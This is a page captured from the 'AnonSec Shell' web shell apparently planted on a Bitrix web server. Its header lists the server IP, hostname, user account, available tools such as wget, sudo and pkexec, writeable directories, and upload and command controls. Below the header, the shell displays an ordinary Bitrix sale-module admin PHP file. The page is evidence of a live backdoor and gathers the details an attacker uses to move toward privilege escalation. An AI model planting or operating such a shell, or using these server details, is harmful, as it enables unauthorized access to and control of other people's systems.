AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.191.122.146
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/sale/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/sale/admin/1c_admin_bizval.php
<?php

if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)
{
	die();
}

/** @global CMain $APPLICATION */

use	Bitrix\Sale\Helpers\Admin\BusinessValueControl;
use Bitrix\Main\Context;
use Bitrix\Main\Loader;
use Bitrix\Main\Localization\Loc;

$salePermissions = $APPLICATION->GetGroupRight('sale');

if ($salePermissions < 'R')
{
	return;
}

Loader::includeModule('sale');

Loc::loadMessages(__FILE__);

$request = Context::getCurrent()->getRequest();

require_once $_SERVER['DOCUMENT_ROOT'] . '/bitrix/modules/sale/lib/helpers/admin/businessvalue.php';

$errors = [];

$businessValueControl = new BusinessValueControl('bizval');

if ($request->isPost() && $request->getPost('Update') !== null && $salePermissions >= 'W' && check_bitrix_sessid())
{
	if ($isSuccess = $businessValueControl->setMapFromPost())
	{
		$businessValueControl->saveMap();
	}
}

?>
	<tr>
		<td colspan="2">
			<?= Loc::getMessage('BIZVAL_PAGE_LINK_PTYPES_V2'); ?>
			<br>&nbsp;
		</td>
	</tr>
	<tr>
		<td colspan="2">
			<?php
			$businessValueControl->renderMap([
				'CONSUMER_KEY' => '1C',
				'HIDE_FILLED_CODES' => false,
			]);
			?>
		</td>
	</tr>
<?php

Anon7 - 2022
AnonSec Team